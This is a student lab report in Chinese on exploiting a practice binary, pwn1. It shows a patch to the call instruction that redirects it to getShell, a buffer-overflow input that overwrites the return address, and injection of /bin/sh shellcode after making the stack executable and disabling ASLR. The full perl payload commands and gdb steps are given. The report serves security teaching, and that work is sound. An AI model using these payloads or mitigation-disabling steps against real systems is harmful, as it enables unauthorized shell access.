20165307《网络对抗技术》Exp1 PC平台逆向破解
实验内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
知识点描述
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP：无作用。
- JNE：若不相等则跳。
- JE：若相等则跳。
- JMP：无条件转移指令。段内直接短转Jmp short，段内直接近转移Jmp near，段内间接转移Jmp word，段间直接转移Jmp far。
- CMP：比较指令，它不保存结果，只是影响相应的标志位。
掌握反汇编与十六进制编程器
- 反汇编指令：
objdump -d objfile - 十六进制编程器:
- 输入命令
vi xxx查看可执行文件内容 - 按esc后输入
:%!xxd将显示模式切换为16进制模式 - 输入
:%!xxd -r转换16进制为原格式
能正确修改机器指令改变程序执行流程
见实验步骤
能正确构造payload进行bof攻击
见实验步骤
实验步骤
任务一：直接修改程序机器指令，改变程序执行流程
- 下载目标文件pwn1,用
objdump -d pwn1 | more命令进行反汇编：
vim pwn1
esc->:%!xxd 将显示模式切换为16进制模式：
找到e8d7，将其修改为e8c3
再用objdump -d pwn1 | more命令反汇编看一下，call指令是否正确调用getShell：
./pwn1运行改后的代码，会得到shell提示符#：
任务二：通过构造输入参数，造成BOF攻击，改变程序执行流
用objdump -d pwn1 | more命令反汇编：
确认输入字符串中哪几个字符会覆盖到返回地址
如果输入字符串 1111111122222222333333334444444412345678，那 1234 那四个数会覆盖到堆栈上的返回地址，所以只要把这四个字符替换为getShell的内存地址，输入给pwn1，pwn1就会运行getShell
getShell的内存地址，通过反汇编时可以看到，即 0804847d 。应输入11111111222222223333333344444444\x7d\x84\x04\x08
构造输入字符串 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 。然后将input的输入，通过管道符“|”，作为pwn1的输入 (cat input; cat) | ./pwn1
任务三：注入Shellcode并执行
修改设置
apt-get install execstack 安装execstack命令
execstack -s pwn1 设置堆栈可执行
execstack -q pwn1 查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化
2.构造要注入的payload
使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中前面32个A用来填满缓冲区buf，\x04\x03\x02\x01为预留的返回地址retaddr：
接下来确定\x4\x3\x2\x1该填什么：
打开一个终端注入这段攻击buf： (cat input_shellcode;cat) | ./20165307pwn1
再打开另外一个终端，用gdb来调试pwn1这个进程：用ps -ef | grep 20165307pwn1命令找到pwn1的进程号是：2854
用gdb attach 2854 命令启动gdb调试这个进程：
用 disassemble foo 命令反汇编：
用 break *0x080484ae 命令设置断点，在进程正在运行的终端敲回车，输入c命令继续运行，使其继续执行。再返回调试终端，使用 info r esp 命令查找地址。用 x/16x 0xffffd2fc 命令查看其存放内容，看到了0x01020304，就是返回地址的位置。
根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为 0xffffd300 ：
接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令 perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再用 (cat input_shellcode;cat) | ./20165307pwn1 命令执行程序，攻击成功
实验感想
实验收获与感想
在这次实验中实现了缓冲区溢出，加深了我对堆栈的理解。
什么是漏洞？漏洞有什么危害？
漏洞是系统的缺陷，可以使攻击者能够在未授权的情况下访问或破坏系统。
